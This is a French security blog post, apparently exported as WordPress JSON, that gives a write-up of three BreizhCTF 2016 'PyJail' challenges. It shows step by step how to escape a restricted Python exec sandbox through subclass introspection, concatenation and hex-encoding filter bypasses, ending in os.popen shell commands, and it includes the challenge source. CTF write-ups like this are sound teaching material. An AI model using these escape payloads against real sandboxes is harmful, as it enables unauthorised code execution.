{"id":228084,"date":"2016-05-17T15:38:57","date_gmt":"2016-05-17T13:38:57","guid":{"rendered":"http:\/\/securite.intrinsec.com\/?p=2068"},"modified":"2016-05-17T15:38:57","modified_gmt":"2016-05-17T13:38:57","slug":"breizhctf-2016-write-up-pyjail-1-2-3","status":"publish","type":"post","link":"https:\/\/www.intrinsec.com\/en\/breizhctf-2016-write-up-pyjail-1-2-3\/","title":{"rendered":"BreizhCTF 2016 \u2013 Write-Up \u2013 PyJail 1, 2, 3"},"content":{"rendered":"<p>Nous avons r\u00e9pondu pr\u00e9sent au BreizhCTF 2016 organis\u00e9 par <a href=\"http:\/\/www.meito.com\/accueil\/vos_marches\/cybersecurite\">La Meito<\/a>, <a href=\"https:\/\/twitter.com\/_SaxX_\">@SaxX<\/a> et <a href=\"https:\/\/twitter.com\/kaluche_\">@Kaluche<\/a>. Nous nous sommes class\u00e9s 2\u00e8me dans le CTF attaque-d\u00e9fense de l&rsquo;apr\u00e8s-midi pr\u00e9par\u00e9 par <a href=\"http:\/\/www.diateam.net\/\">diateam<\/a>, et 2\u00e8me \u00e9galement dans le <em>jeopardy<\/em> de la nuit.<\/p>\n<p>Nous vous proposons ci-dessous les Write-Up des \u00e9preuves PyJail 1, 2 et 3 qui ont \u00e9t\u00e9 r\u00e9solues par Sofiane Benmekki, actuellement consultant stagiaire.<br \/>\nMerci aux sponsors de cet \u00e9v\u00e9nement que nous avons appr\u00e9ci\u00e9 ! Et bravo aux organisateurs que vous pouvez retrouver en <a href=\"https:\/\/www.nolimitsecu.fr\/breizhctf-2016\/\">interview par NoLimitSecu<\/a>.<\/p>\n<p style=\"text-align: center;\"><iframe src=\"https:\/\/www.youtube.com\/embed\/ip3KPAWBMHQ\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<h1>PyJail 1<\/h1>\n<p><strong>Chall:<\/strong> Pyjail1 | <strong>Points:<\/strong> 300 | <strong>Taux de r\u00e9ussite:<\/strong> 36%<\/p>\n<p>Le titre de ce challenge nous donne un bonne piste pour le r\u00e9soudre. Pour commencer, on cherche les fonctions autoris\u00e9es.<\/p>\n<p>En essayant quelques-unes d&rsquo;entre elles, on d\u00e9couvre que seule la fonction <em>dir<\/em> est autoris\u00e9e.<\/p>\n<p>L&rsquo;id\u00e9e pour r\u00e9soudre ce challenge est de trouver une m\u00e9thode accessible qui pourrait permettre l&rsquo;ex\u00e9cution de commandes syst\u00e8mes ou de trouver un chemin vers la fonction \u00ab\u00a0__import__\u00a0\u00bb de python afin de charger le module \u00ab\u00a0os\u00a0\u00bb.<\/p>\n<p>En ex\u00e9cutant la commande suivante sur le serveur :<\/p>\n<pre><code>&gt;print ().__class__.__base__.__subclasses__()\n\n[..., &lt;class 'warnings.catch_warnings'&gt;, ...]\n<\/code><\/pre>\n<p>Le r\u00e9sultat est une liste de types et de classes accessibles depuis l&rsquo;environnement restreint (python jail).<\/p>\n<p>Nous avons une liste de classes et de types exploitables. Nous allons exploiter la classe \u00ab\u00a0warnings.catch_warnings\u00a0\u00bb car elle a un attribut \u00ab\u00a0_module\u00a0\u00bb qui pourrait nous permettre d&rsquo;acc\u00e9der aux fonctions accessible d&rsquo;un module (et potentiellement \u00e0 la fonction __import__ ).<\/p>\n<p>cf : <a href=\"https:\/\/hg.python.org\/cpython\/file\/2.7\/Lib\/warnings.py\">https:\/\/hg.python.org\/cpython\/file\/2.7\/Lib\/warnings.py<\/a><\/p>\n<p>Afin d&rsquo;analyser le contenu de cet attribut, il faut cr\u00e9er une instance de cette classe qui sera stock\u00e9e dans la variable \u00ab\u00a0wclass\u00a0\u00bb:<\/p>\n<pre><code>&gt;wclass = ().__class__.__base__.__subclasses__()[59]()\n\n<\/code><\/pre>\n<p>En appliquant la fonction dir \u00e0 l&rsquo;attribut \u00ab\u00a0_module\u00a0\u00bb :<\/p>\n<pre><code>&gt;print wclass._module\n&lt;module 'warnings' from '\/usr\/lib\/python2.7\/warnings.pyc'&gt;\n&gt;print dir(wclass._module)\n['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', '_getcategory', '_processoptions', '_setoption', '_show_warning', 'catch_warnings', 'default_action', 'defaultaction', 'filters', 'filterwarnings', 'formatwarning', 'linecache', 'once_registry', 'onceregistry', 'resetwarnings', 'showwarning', 'simplefilter', 'sys', 'types', 'warn', 'warn_explicit', 'warnpy3k']\n\n<\/code><\/pre>\n<p>Un attribut tr\u00e8s int\u00e9ressant apparait, c&rsquo;est \u00ab\u00a0__builtins__\u00a0\u00bb.<\/p>\n<pre><code>&gt;print wclass._module.__builtins__\n {..., '__import__': &lt;built-in function __import__&gt;, ...}\n<\/code><\/pre>\n<p>Le contenu de \u00ab\u00a0__builtins__\u00a0\u00bb est un dictionnaire de fonctions \u00ab\u00a0builtins\u00a0\u00bb python contenant entre autres la fonction __import__.<\/p>\n<p>Une fois cette fonction localis\u00e9e, il ne reste plus qu&rsquo;\u00e0 importer le module \u00ab\u00a0os\u00a0\u00bb et ex\u00e9cuter des commandes syst\u00e8me \u00e0 l&rsquo;aide de la fonction \u00ab\u00a0os\u00a0\u00bb de ce module pour obtenir le flag.<\/p>\n<pre><code>&gt;print wclass._module.__builtins__['__import__']('os').popen(\"pwd &amp;&amp; ls -alR \").read()\n&gt;print wclass._module.__builtins__['__import__']('os').popen(\"cat flag\").read()\nBZHCTF{flag_pyjail_1}\n<\/code><\/pre>\n<p>De m\u00eame, on peut r\u00e9cup\u00e9rer le code source du challenge (\u00ab\u00a0cat python_vm1.py\u00a0\u00bb) :<\/p>\n<pre>#!\/usr\/bin\/python2.7\nimport readline\n\ndef filter_1(payload):\n    return payload\n\ndef python_vm1():\n    def exec_sandbox(payload):\n        exec payload in scope\n\n    scope = {\"__builtins__\" : {\"dir\" : dir, \"_\" : exec_sandbox}}\n\n    while True:\n        try:\n            data = raw_input(\"&gt;\")\n            if data is None:\n                break\n            data = filter_1(data)\n            exec_sandbox(data)\n        except EOFError:\n            break\n        except Exception as e:\n            print(\"Something went wrong \", e)\n\nif __name__ == '__main__':\n    python_vm1()<\/pre>\n<h1>PyJail 2<\/h1>\n<p><strong>Chall:<\/strong> Pyjail2 | <strong>Points:<\/strong> 200 | <strong>Taux de r\u00e9ussite:<\/strong> 14% |<\/p>\n<p>Pour ce deuxi\u00e8me challenge de pyjail, on reste dans la m\u00eame id\u00e9e que le premier : sortir du \u00ab\u00a0jail\u00a0\u00bb. Par contre l&rsquo;ensemble des entr\u00e9es accept\u00e9es par le programme se trouve r\u00e9duit (le double underscore n&rsquo;est plus accept\u00e9 par le programme comme entr\u00e9e).<\/p>\n<p>Ayant r\u00e9cup\u00e9r\u00e9 le code du premier challenge, on remarque qu&rsquo;il existe une fonction \u00ab\u00a0_\u00a0\u00bb qui prend en param\u00e8tre une chaine de caract\u00e8res et qui ex\u00e9cute le code re\u00e7u.<\/p>\n<p>L&rsquo;id\u00e9e est la suivante : nous allons ex\u00e9cuter les m\u00eames commandes qu&rsquo;avant (pyjail1) sauf que cette fois-ci c&rsquo;est la fonction \u00ab\u00a0_\u00a0\u00bb qui se chargera de leur ex\u00e9cution. Comme cette fonction accepte une chaine de caract\u00e8res en entr\u00e9e,\u00a0 l&rsquo;op\u00e9rateur de concat\u00e9nation de deux chaines de caract\u00e8res peut \u00eatre exploit\u00e9 pour ex\u00e9cuter du code contenant un double underscore ( \u00ab\u00a0__\u00a0\u00bb \u00a0 &lt;=&gt;\u00a0 \u00ab\u00a0_\u00a0\u00bb + \u00ab\u00a0_\u00a0\u00bb\u00a0 ) et obtenir le flag :<\/p>\n<pre><code>&gt;_(\"wclass = ()._\"+\"_class_\"+\"_._\"+\"_base_\"+\"_._\"+\"_subclasses_\"+\"_()[59]()\")\n&gt;_(\"print wclass._module._\"+\"_builtins_\"+\"_['_\"+\"_import_\"+\"_']('os').popen('cat flag')\").read()\n\nBZHCTF{flag_pyjail_2}\n<\/code><\/pre>\n<p>De m\u00eame, on peut r\u00e9cup\u00e9rer le code source du challenge (\u00ab\u00a0cat python_vm2.py\u00a0\u00bb) :<\/p>\n<pre>#!\/usr\/bin\/python2.7\nimport readline\n\ndef filter_2(payload):\n    \"\"\"\n    No double underscore\n    \"\"\"\n    while \"__\" in payload:\n        payload = payload.replace(\"__\", \"\")\n    return payload\n\ndef python_vm2():\n    def exec_sandbox(payload):\n        exec payload in scope\n\n    scope = {\"__builtins__\" : {\"dir\" : dir, \"_\" : exec_sandbox}}\n\n    while True:\n        try:\n            data = raw_input(\"&gt;\")\n            if data is None:\n                break\n            data = filter_2(data)\n            exec_sandbox(data)\n        except EOFError:\n            break\n        except Exception as e:\n            print(\"Something went wrong \", e)\n\nif __name__ == '__main__':\n    python_vm2()<\/pre>\n<h1>PyJail 3<\/h1>\n<p><strong>Chall:<\/strong> Pyjail3 | <strong>Points:<\/strong> 300 | <strong>Taux de r\u00e9ussite:<\/strong> 7% |<\/p>\n<p>Ce challenge reste dans la m\u00eame logique que les deux pr\u00e9c\u00e9dents (sortir du jail), sauf que cette fois-ci l&rsquo;alphabet d&rsquo;entr\u00e9e du programme ne contient plus les caract\u00e8res suivants : \u00a0\u00bb &lsquo; __ (double underscore)<\/p>\n<p>L&rsquo;approche utilis\u00e9e pour le pyjail2 n&rsquo;est pas applicable sur ce challenge car on n&rsquo;a plus de moyen d&rsquo;envoyer une chaine de caract\u00e8res au programme. Reste l&rsquo;approche du payjail1, mais celle ci n\u00e9cessite des caract\u00e8res non autoris\u00e9s dans ce challenge.<\/p>\n<p>En listant les outils que l&rsquo;on a :<\/p>\n<ul>\n<li>La fonction dir<\/li>\n<li>La fonction _<\/li>\n<li>La d\u00e9claration de variables de type autre que str (ex. : a = 2)<\/li>\n<\/ul>\n<p>L&rsquo;id\u00e9e de construire une chaine de caract\u00e8res qui sera notre payload pour r\u00e9cup\u00e9rer le flag semble la plus pertinente, on sait que le payload permettant la r\u00e9cup\u00e9ration du \u00ab\u00a0flag\u00a0\u00bb est le suivant :<\/p>\n<pre><code>&gt;wclass = ().__class__.__base__.__subclasses__()[59]()\n&gt;print wclass._module.__builtins__['__import__']('os').popen('cat flag').read()\n<\/code><\/pre>\n<p>N&rsquo;ayant pas de moyen direct pour instancier un objet de type str, l&rsquo;utilisation la fonction dir nous permet d&rsquo;instancier un objet de type str :<\/p>\n<pre><code>&gt; a= 2\n&gt; print dir(a)\n['__abs__', '__add__', '__and__', '__class__', '__cmp__', '__coerce__', '__delattr__', '__div__', '__divmod__', '__doc__', '__float__', '__floordiv__', '__format__', '__getattribute__', '__getnewargs__', '__hash__', '__hex__', '__index__', '__init__', '__int__', '__invert__', '__long__', '__lshift__', '__mod__', '__mul__', '__neg__', '__new__', '__nonzero__', '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__', '__rdiv__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__repr__', '__rfloordiv__', '__rlshift__', '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setattr__', '__sizeof__', '__str__', '__sub__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__', 'bit_length', 'conjugate', 'denominator', 'imag', 'numerator', 'real']\n&gt; b = dir(a)[0]\n&gt; print b\n'__abs__'\n<\/code><\/pre>\n<p>Comme le payload contient un nombre important de caract\u00e8res non alphab\u00e9tiques ( \u00a0\u00bb &lsquo; ()[] = . ), la construction du payload \u00e0 partir des chaines de caract\u00e8res qu&rsquo;on peut obtenir \u00e0 l&rsquo;aide des fonctions accessibles n&rsquo;est plus envisageable, mais, si on encode le payload en base 16 (hexad\u00e9cimal) l&rsquo;alphabet sera r\u00e9duit \u00e0 16 caract\u00e8res.<\/p>\n<p>Et la conversion de l&rsquo;hexad\u00e9cimal vers une chaine de caract\u00e8res est possible car les deux m\u00e9thodes \u00ab\u00a0encode\u00a0\u00bb et \u00ab\u00a0decode\u00a0\u00bb sont autoris\u00e9es.<\/p>\n<pre><code>&gt;print b.encode\n&lt;built-in method encode of str object at 0x7f942313e780&gt;\n&gt;print b.decode\n&lt;built-in method decode of str object at 0x7f942313e780&gt;\n<\/code><\/pre>\n<p>Il ne reste plus qu&rsquo;\u00e0 construire l&rsquo;alphabet hexad\u00e9cimal. Pour commencer, il faut construire le mot \u00ab\u00a0hex\u00a0\u00bb pour que les deux m\u00e9thodes \u00ab\u00a0encode\u00a0\u00bb et \u00ab\u00a0decode\u00a0\u00bb puissent \u00eatre utilis\u00e9es.<\/p>\n<pre><code>&gt; hex = dir(a)[16][2:5]\n&gt; print b.encode(hex)\n5f5f6162735f5f\n<\/code><\/pre>\n<p>Une fois cette op\u00e9ration possible on passe \u00e0 l&rsquo;\u00e9tape suivante qui consiste en la cr\u00e9ation de l&rsquo;alphabet hexad\u00e9cimal :<\/p>\n<pre><code>&gt;tmp = [c.encode(hex) for c in dir(b)]\n&gt;print tmp\n['5f5f6164645f5f', '5f5f636c6173735f5f', '5f5f636f6e7461696e735f5f', '5f5f64656c617474725f5f', '5f5f646f635f5f', '5f5f65715f5f', '5f5f666f726d61745f5f', '5f5f67655f5f', '5f5f6765746174747269627574655f5f', '5f5f6765746974656d5f5f', '5f5f6765746e6577617267735f5f', '5f5f676574736c6963655f5f', '5f5f67745f5f', '5f5f686173685f5f', '5f5f696e69745f5f', '5f5f6c655f5f', '5f5f6c656e5f5f', '5f5f6c745f5f', '5f5f6d6f645f5f', '5f5f6d756c5f5f', '5f5f6e655f5f', '5f5f6e65775f5f', '5f5f7265647563655f5f', '5f5f7265647563655f65785f5f', '5f5f726570725f5f', '5f5f726d6f645f5f', '5f5f726d756c5f5f', '5f5f736574617474725f5f', '5f5f73697a656f665f5f', '5f5f7374725f5f', '5f5f737562636c617373686f6f6b5f5f', '5f666f726d61747465725f6669656c645f6e616d655f73706c6974', '5f666f726d61747465725f706172736572', '6361706974616c697a65', '63656e746572', '636f756e74', '6465636f6465', '656e636f6465', '656e647377697468', '657870616e6474616273', '66696e64', '666f726d6174', '696e646578', '6973616c6e756d', '6973616c706861', '69736469676974', '69736c6f776572', '69737370616365', '69737469746c65', '69737570706572', '6a6f696e', '6c6a757374', '6c6f776572', '6c7374726970', '706172746974696f6e', '7265706c616365', '7266696e64', '72696e646578', '726a757374', '72706172746974696f6e', '7273706c6974', '727374726970', '73706c6974', '73706c69746c696e6573', '73746172747377697468', '7374726970', '7377617063617365', '7469746c65', '7472616e736c617465', '7570706572', '7a66696c6c']\n\n\n&gt; alphabet = tmp[0][5]+tmp[3][-5]\n&gt;print alphabet\n12\n<\/code><\/pre>\n<p>Pour au final avoir le r\u00e9sultat suivant :<\/p>\n<pre><code>&gt;print alphabet\n1234567890abcdef\n<\/code><\/pre>\n<p>Une fois l&rsquo;alphabet pr\u00eat, le payload peut \u00eatre encod\u00e9 en hexad\u00e9cimal :<\/p>\n<pre><code>&gt;&gt;&gt; \"wclass = ().__class__.__base__.__subclasses__()[59]()\".encode('hex')\n'77636c617373203d2028292e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b35395d2829'\n&gt;&gt;&gt; \"print wclass._module.__builtins__['__import__']('os').popen('cat flag').read()\".encode('hex')\n'7072696e742077636c6173732e5f6d6f64756c652e5f5f6275696c74696e735f5f5b275f5f696d706f72745f5f275d28276f7327292e706f70656e282763617420666c616727292e726561642829'\n<\/code><\/pre>\n<p>Sachant que les deux m\u00e9thodes \u00ab\u00a0encode\u00a0\u00bb et \u00ab\u00a0decode\u00a0\u00bb retournent une chaine de caract\u00e8res comme r\u00e9sultat, l&rsquo;id\u00e9e est d&rsquo;envoyer ces deux lignes en hexad\u00e9cimal au programme et que le programme les d\u00e9code pour les envoyer \u00e0 la fonction \u00ab\u00a0_\u00a0\u00bb qui prend en param\u00e8tre une chaine de caract\u00e8res. En utilisant le petit programme python &lsquo;generator.py&rsquo;, on transforme le code hexad\u00e9cimal en plusieurs acc\u00e8s \u00e0 la liste <em>alphabet<\/em> qui contient l&rsquo;alphabet hexad\u00e9cimal (ce qui permet de n&rsquo;envoyer au programme que des caract\u00e8res autoris\u00e9s).<\/p>\n<p>generator.py :<\/p>\n<pre>payload_init_wclass = \"77636c617373203d2028292e5f5f636c6173735f5f2e5f5f626173655f5f2e5f5f737562636c61737365735f5f28295b35395d2829\"\npayload_get_flag = \"7072696e742077636c6173732e5f6d6f64756c652e5f5f6275696c74696e735f5f5b275f5f696d706f72745f5f275d28276f7327292e706f70656e282763617420666c616727292e726561642829\"\n\nalphabet = \"1234567890abcdef\"\n\nprint \"CODE TO INIT WCLASS :\"\nline_0 = \"\"\nfor c in payload_init_wclass:\n   line_0 = line_0 + \"alphabet[\"+str(alphabet.index(c))+\"]+\"\nprint line_0\n\nprint \"CODE TO GET THE FLAG :\"\nline_1 = \"\"\nfor c in payload_get_flag:\n   line_1 = line_1 + \"alphabet[\"+str(alphabet.index(c))+\"]+\"\nprint line_1<\/pre>\n<p>Initialisation de la variable <em>wcalss<\/em> :<\/p>\n<pre><code>&gt; _((alphabet[6]+alphabet[6]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+\nalphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+alphabet[1]+alphabet[9]+alphabet[2]+alphabet[13]+\nalphabet[1]+alphabet[9]+alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+\nalphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+\nalphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+\nalphabet[4]+alphabet[15]+alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+\nalphabet[5]+alphabet[1]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[5]+alphabet[4]+\nalphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+\nalphabet[4]+alphabet[15]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[4]+alphabet[5]+alphabet[1]+\nalphabet[5]+alphabet[2]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+\nalphabet[6]+alphabet[2]+alphabet[5]+alphabet[4]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+\nalphabet[4]+alphabet[15]+alphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]+alphabet[4]+alphabet[11]+\nalphabet[2]+alphabet[4]+alphabet[2]+alphabet[8]+alphabet[4]+alphabet[13]+alphabet[1]+alphabet[7]+\nalphabet[1]+alphabet[8]).decode(hex))\n\n&gt;print wclass\ncatch_warnings()\n<\/code><\/pre>\n<p>R\u00e9cup\u00e9ration du flag :<\/p>\n<pre><code>&gt; _((alphabet[6]+alphabet[9]+alphabet[6]+alphabet[1]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[14]+\nalphabet[6]+alphabet[3]+alphabet[1]+alphabet[9]+alphabet[6]+alphabet[6]+alphabet[5]+alphabet[2]+\nalphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[2]+alphabet[6]+alphabet[2]+\nalphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[13]+alphabet[5]+alphabet[15]+\nalphabet[5]+alphabet[3]+alphabet[6]+alphabet[4]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[4]+\nalphabet[1]+alphabet[14]+alphabet[4]+alphabet[15]+alphabet[4]+alphabet[15]+alphabet[5]+alphabet[1]+\nalphabet[6]+alphabet[4]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[12]+alphabet[6]+alphabet[3]+\nalphabet[5]+alphabet[8]+alphabet[5]+alphabet[14]+alphabet[6]+alphabet[2]+alphabet[4]+alphabet[15]+\nalphabet[4]+alphabet[15]+alphabet[4]+alphabet[11]+alphabet[1]+alphabet[6]+alphabet[4]+alphabet[15]+\nalphabet[4]+alphabet[15]+alphabet[5]+alphabet[8]+alphabet[5]+alphabet[13]+alphabet[6]+alphabet[9]+\nalphabet[5]+alphabet[15]+alphabet[6]+alphabet[1]+alphabet[6]+alphabet[3]+alphabet[4]+alphabet[15]+\nalphabet[4]+alphabet[15]+alphabet[1]+alphabet[6]+alphabet[4]+alphabet[13]+alphabet[1]+alphabet[7]+\nalphabet[1]+alphabet[6]+alphabet[5]+alphabet[15]+alphabet[6]+alphabet[2]+alphabet[1]+alphabet[6]+\nalphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+alphabet[6]+alphabet[9]+alphabet[5]+alphabet[15]+\nalphabet[6]+alphabet[9]+alphabet[5]+alphabet[4]+alphabet[5]+alphabet[14]+alphabet[1]+alphabet[7]+\nalphabet[1]+alphabet[6]+alphabet[5]+alphabet[2]+alphabet[5]+alphabet[0]+alphabet[6]+alphabet[3]+\nalphabet[1]+alphabet[9]+alphabet[5]+alphabet[5]+alphabet[5]+alphabet[12]+alphabet[5]+alphabet[0]+\nalphabet[5]+alphabet[6]+alphabet[1]+alphabet[6]+alphabet[1]+alphabet[8]+alphabet[1]+alphabet[14]+\nalphabet[6]+alphabet[1]+alphabet[5]+alphabet[4]+alphabet[5]+alphabet[0]+alphabet[5]+alphabet[3]+\nalphabet[1]+alphabet[7]+alphabet[1]+alphabet[8]).decode(hex))\n\nBZHCTF{flag_pyjail_3}\n<\/code><\/pre>\n<p>Code Python du challenge :<\/p>\n<pre>#!\/usr\/bin\/python2.7\nimport readline\n\ndef filter_3(payload):\n    '''\n    - No string literal\n    - No double underscore\n    '''\n    payload = payload.replace(\"'\", \"\").replace('\"', '')\n    while \"__\" in payload:\n        payload = payload.replace(\"__\", \"\")\n    return payload\n\ndef python_vm3():\n    def exec_sandbox(payload):\n        exec payload in scope\n\n    scope = {\"__builtins__\" : {\"dir\" : dir, \"_\" : exec_sandbox}}\n\n    while True:\n        try:\n            data = raw_input(\"&gt;\")\n            if data is None:\n                break\n            data = filter_3(data)\n            exec_sandbox(data)\n        except EOFError:\n            break\n        except Exception as e:\n            print(\"Something went wrong \", e)\n\nif __name__ == '__main__':\n    python_vm3()<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Nous avons r\u00e9pondu pr\u00e9sent au BreizhCTF 2016 organis\u00e9 par La Meito, @SaxX et @Kaluche. Nous [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2075,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[143],"class_list":["post-228084","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-evaluation-securite","tag-breizhctf"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v28.0 (Yoast SEO v28.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>BreizhCTF 2016 - Write-Up - PyJail 1, 2, 3 - INTRINSEC<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.intrinsec.com\/en\/breizhctf-2016-write-up-pyjail-1-2-3\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"BreizhCTF 2016 - Write-Up - PyJail 1, 2, 3\" \/>\n<meta property=\"og:description\" content=\"Nous avons r\u00e9pondu pr\u00e9sent au BreizhCTF 2016 organis\u00e9 par La Meito, @SaxX et @Kaluche. Nous [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.intrinsec.com\/en\/breizhctf-2016-write-up-pyjail-1-2-3\/\" \/>\n<meta property=\"og:site_name\" content=\"INTRINSEC\" \/>\n<meta property=\"article:published_time\" content=\"2016-05-17T13:38:57+00:00\" \/>\n<meta name=\"author\" content=\"Intrinsec\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@Intrinsec\" \/>\n<meta name=\"twitter:site\" content=\"@Intrinsec\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Intrinsec\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/\"},\"author\":{\"name\":\"Intrinsec\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/person\\\/ade590fbc7ad6f413727bae7cd3fb799\"},\"headline\":\"BreizhCTF 2016 &#8211; Write-Up &#8211; PyJail 1, 2, 3\",\"datePublished\":\"2016-05-17T13:38:57+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/\"},\"wordCount\":1006,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#primaryimage\"},\"thumbnailUrl\":\"\",\"keywords\":[\"breizhctf\"],\"articleSection\":[\"S\u00e9curit\u00e9 offensive &amp; Audit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/\",\"name\":\"BreizhCTF 2016 - Write-Up - PyJail 1, 2, 3 - INTRINSEC\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#primaryimage\"},\"thumbnailUrl\":\"\",\"datePublished\":\"2016-05-17T13:38:57+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#primaryimage\",\"url\":\"\",\"contentUrl\":\"\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/breizhctf-2016-write-up-pyjail-1-2-3\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.intrinsec.com\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"BreizhCTF 2016 &#8211; Write-Up &#8211; PyJail 1, 2, 3\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#website\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/\",\"name\":\"INTRINSEC\",\"description\":\"Notre m\u00e9tier , Prot\u00e9ger le v\u00f4tre\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.intrinsec.com\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#organization\",\"name\":\"INTRINSEC\",\"alternateName\":\"ISEC\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.intrinsec.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/libellule.png\",\"contentUrl\":\"https:\\\/\\\/www.intrinsec.com\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/libellule.png\",\"width\":1322,\"height\":1322,\"caption\":\"INTRINSEC\"},\"image\":{\"@id\":\"https:\\\/\\\/www.intrinsec.com\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/Intrinsec\",\"https:\\\/\\\/fr.linkedin.com\\\/company\\\/